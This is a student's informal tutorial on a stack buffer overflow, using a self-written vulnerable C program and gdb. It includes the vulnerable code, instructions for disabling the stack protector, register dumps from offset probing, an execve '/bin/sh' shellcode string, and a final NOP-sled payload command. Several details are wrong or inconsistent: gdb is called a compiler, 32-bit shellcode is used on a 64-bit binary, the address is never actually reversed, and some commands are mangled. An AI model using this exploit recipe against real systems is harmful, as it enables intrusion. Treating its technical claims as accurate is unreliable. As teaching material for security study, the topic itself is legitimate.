Title:Buffer Over Flow Attack/Exploit Manual

Author: Shiv

Date: 23 Jan 2018

---

Okay. So, we were taught buffer over flow attack today. However, we werent told exaclty how it works. In fact the professor did a poor job at explaining how it works. SOOOOOO I went ahead and learnt what it meant on my own. Here is a manual for buffer overflow attack.

This exploit is taken from Computerphile video but they conveniently left some things out so here is everything.

C code:

vuln.c

#include <stdio.h>

#include <string.h>

int main(int argc, char \*\*argv){

char buff[500];

strcpy(buff, argv[1]);

return 0;

}

Now compile this using $gcc -g vuln.c -o vuln

-g options compiles it so that we can now use debugger on it. This will allow us to view the code in “gdb” which is a Linux Command Line compiler.

Enter the gdb by using command: $gdb vuln

and then you shall enter the gdb shell.

Type list to view the code. It shall look like this:

(gdb) list

1 #include <stdio.h>

2 #include <string.h>

3

4 int main(int argc, char \*\*argv){

5 char buff[500];

6 strcpy(buff, argv[1]);

7

8 return 0;

9 }

(gdb)

“disas main” will generate the assembly code. Watch out for the highlighted line and its comment.

(gdb) disas main

Dump of assembler code for function main:

0x00000000000006aa <+0>: push %rbp

0x00000000000006ab <+1>: mov %rsp,%rbp

0x00000000000006ae <+4>: sub $0x210,%rsp ; This assembly instructions is allocating ;the space for the buff from the stack top

0x00000000000006b5 <+11>: mov %edi,-0x204(%rbp)

0x00000000000006bb <+17>: mov %rsi,-0x210(%rbp)

0x00000000000006c2 <+24>: mov %fs:0x28,%rax

0x00000000000006cb <+33>: mov %rax,-0x8(%rbp)

0x00000000000006cf <+37>: xor %eax,%eax

0x00000000000006d1 <+39>: mov -0x210(%rbp),%rax

0x00000000000006d8 <+46>: add $0x8,%rax

0x00000000000006dc <+50>: mov (%rax),%rdx

0x00000000000006df <+53>: lea -0x200(%rbp),%rax

0x00000000000006e6 <+60>: mov %rdx,%rsi

0x00000000000006e9 <+63>: mov %rax,%rdi

0x00000000000006ec <+66>: callq 0x570 <strcpy@plt>

0x00000000000006f1 <+71>: mov $0x0,%eax

0x00000000000006f6 <+76>: mov -0x8(%rbp),%rcx

0x00000000000006fa <+80>: xor %fs:0x28,%rcx

0x0000000000000703 <+89>: je 0x70a <main+96>

0x0000000000000705 <+91>: callq 0x580 <\_\_stack\_chk\_fail@plt>

0x000000000000070a <+96>: leaveq

0x000000000000070b <+97>: retq

---Type <return> to continue, or q <return> to quit---

End of assembler dump.

(gdb)

“Run” command will execute the normal executable file. No worries.

Now interesting thing here is that we can run python scripts from command line. So we do this:

Comand: run $(python3 -c ' print("\x41" \* 506)')

(gdb) run $(python3 -c '"(print\x41" \* 506)')

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/shiv/Academic/timepass/vuln $(python3 -c 'print("\x41" \* 506)')

\*\*\* stack smashing detected \*\*\*: <unknown> terminated

Program received signal SIGABRT, Aborted.

\_\_GI\_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51

51 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.

(gdb)

Now the important thing to notice here is that gdb won’t allow me to do that as, gcc automatically enables a protection mechanism that avoid buffer overflows.

Hence, compile the same program with, $gcc -g -fno-stack-protector vuln.c -o vuln

“ -fno-stack-protector ” disables gcc’s stack protection and doesn’t abort the code. So here is what happens when you run the script again:

(gdb) run $(python3 -c '"\x41" \* 506')

Starting program: /home/shiv/Academic/timepass/vuln $(python3 -c 'print("\x41" \* 506)')

Program received signal SIGSEGV, Segmentation fault.

\_\_strcpy\_ssse3 () at ../sysdeps/x86\_64/multiarch/strcpy-ssse3.S:43

43 ../sysdeps/x86\_64/multiarch/strcpy-ssse3.S: No such file or directory.

We get a segmentation fault. That is exactly what I need. This means that the gdb no longer gives me stack smashing message and aborts the code.

Now the next step is a bit complicated and requires a little inderstanding of the meory stack:

------------------------------------

| | |

| | |

| | |

------------------------------------

top-----Main code------dependencies

Now the above structure represents the program stack. We usually thing that the C code ends after main but it doesn’t. Before and after the main() or the entire c code, comes some extra code as well. That extra code is added by the compiler. So now while overflowing the buffer, We need to make sure that the instruction pointer or the ip register points to the memory location containing our malicious code :). To do this, probe a little till your instruction pointer starts getting over written. The “return” value once over written will fuck it all up... Here is some probing:

(gdb) run $(python3 -c 'print("\x41"\*556)')

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/shiv/Academic/timepass/vuln $(python3 -c 'print("\x41"\*556)')

Program received signal SIGSEGV, Segmentation fault.

0x0000555555554688 in main (argc=2, argv=0x7fffffffdf98) at vuln.c:8

8 }

(gdb) info registers

rax 0x0 0

rbx 0x0 0

rcx 0x7fffffffe4f0 140737488348400

rdx 0x7fffffffded9 140737488346841

rsi 0x9 9

rdi 0x7fffffffdcb0 140737488346288

rbp 0x4141414141414141 0x4141414141414141 ; effects of overwriting

rsp 0x7fffffffdeb8 0x7fffffffdeb8

r8 0x555555554700 93824992233216

r9 0x4141414141414141 4702111234474983745

r10 0x3 3

r11 0x1 1

r12 0x555555554540 93824992232768

r13 0x7fffffffdf90 140737488347024

r14 0x0 0

r15 0x0 0

rip 0x555555554688 0x555555554688 <main+62>

eflags 0x10202 [ IF RF ]

cs 0x33 51

ss 0x2b 43

ds 0x0 0

es 0x0 0

fs 0x0 0

ip overwriting:

(gdb) run $(python3 -c 'print("\x41"\*525)')

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/shiv/Academic/timepass/vuln $(python3 -c 'print("\x41"\*525)')

Program received signal SIGSEGV, Segmentation fault.

0x0000004141414141 in ?? () <- This part indicates that ip doesnt find anycode residin in this part

(gdb) info registers

rax 0x0 0

rbx 0x0 0

rcx 0x7fffffffe4f0 140737488348400

rdx 0x7fffffffdeda 140737488346842

rsi 0xa 10

rdi 0x7fffffffdcd0 140737488346320

rbp 0x4141414141414141 0x4141414141414141

rsp 0x7fffffffdee0 0x7fffffffdee0

r8 0x555555554700 93824992233216

r9 0x4141414141414141 4702111234474983745

r10 0x3 3

r11 0x1 1

r12 0x555555554540 93824992232768

r13 0x7fffffffdfb0 140737488347056

r14 0x0 0

r15 0x0 0

rip 0x4141414141 0x4141414141 ; ip overwritten :)

eflags 0x10202 [ IF RF ]

cs 0x33 51

ss 0x2b 43

ds 0x0 0

es 0x0 0

fs 0x0 0

---Type <return> to continue, or q <return> to quit---

gs 0x0 0

Okay... Now we have accomplished a goal. Next is injection of malicious code.

So the buffer space that we were allocating is where we will inject the malicious code.

So here is what is gonna happen:

Compiler allocated some space for the buffer of size 500 chars (500 bytes). We write in that buffer till the allocated space overflows. Once it overflows into other code, we slowly start probing such that it now overwrites the return value in the stack. Once it does that, we simply adjust the return value such that it points back to inside of the buffer where the malicious code stays.

Infact, one of the smartest way to go to the malicious code part is by, populating the buffer with “\x90” byte, which instructs the cpu to move onto the next instruction. This way, your return part will always point to any location inside the buffer and then will automatically slide down to the malicious code part.

FIND: ZSH Shell code

Here is shell code string: (23 bytes)

“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80”

Now another interesting thing with \x90 is that it is written the memory as \x90\xc2

... Therefore in order to overflow the buffer of 500, just populate \x90 250 + 10 bytes times.

Now, we try and find the location where we wanna inject the malicious code :)

then view the stack top using this comand:

$x /200x $sp -550

which means, view top 200 enteries in the stack starting from 550. Gives you:

(gdb) x/200x $sp -550

0x7fffffffdcba: 0x55555555 0xdfb80000 0x7fffffff 0x8ac00000

0x7fffffffdcca: 0x00020195 0x41410000 0x41414141 0x41414141

0x7fffffffdcda: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffdcea: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffdcfa: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffdd0a: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffdd1a: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffdd2a: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffdd3a: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fType <return> to continue, or q <return> to quit---Quit

0x7fffffffdd5a: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffdd6a: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffdd7a: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffdd8a: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffdd9a: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffddaa: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffddba: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffddca: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffddda: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffddea: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffddfa: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffde0a: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffde1a: 0x41414141 0x41414141 0x41414141 0x41414141

---Type <return> to continue, or q <return> to quit---Quit

Now pick any mid location to inject malicious code! Say 0x7fffffffdd0a

So now, we convert the address to little endian make shit go crazy i.e. “\x7f\xff\xff\xff\xdd\x0a” (reverse it)

Now, simply put this in the gdb:

run $(python3 -c ‘print(“\x90”\*540 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80” + “\x7f\xff\xff\xff\xdd\x0a” \* 10)’)

you obviously have to adjust the values such that the last 60 padding bytes overwrite the return pointer on the stack. Then the ip will redirect to that memory location and slide down to the malicious code that will cause the hack.

Tried this on my college PC. Works well :)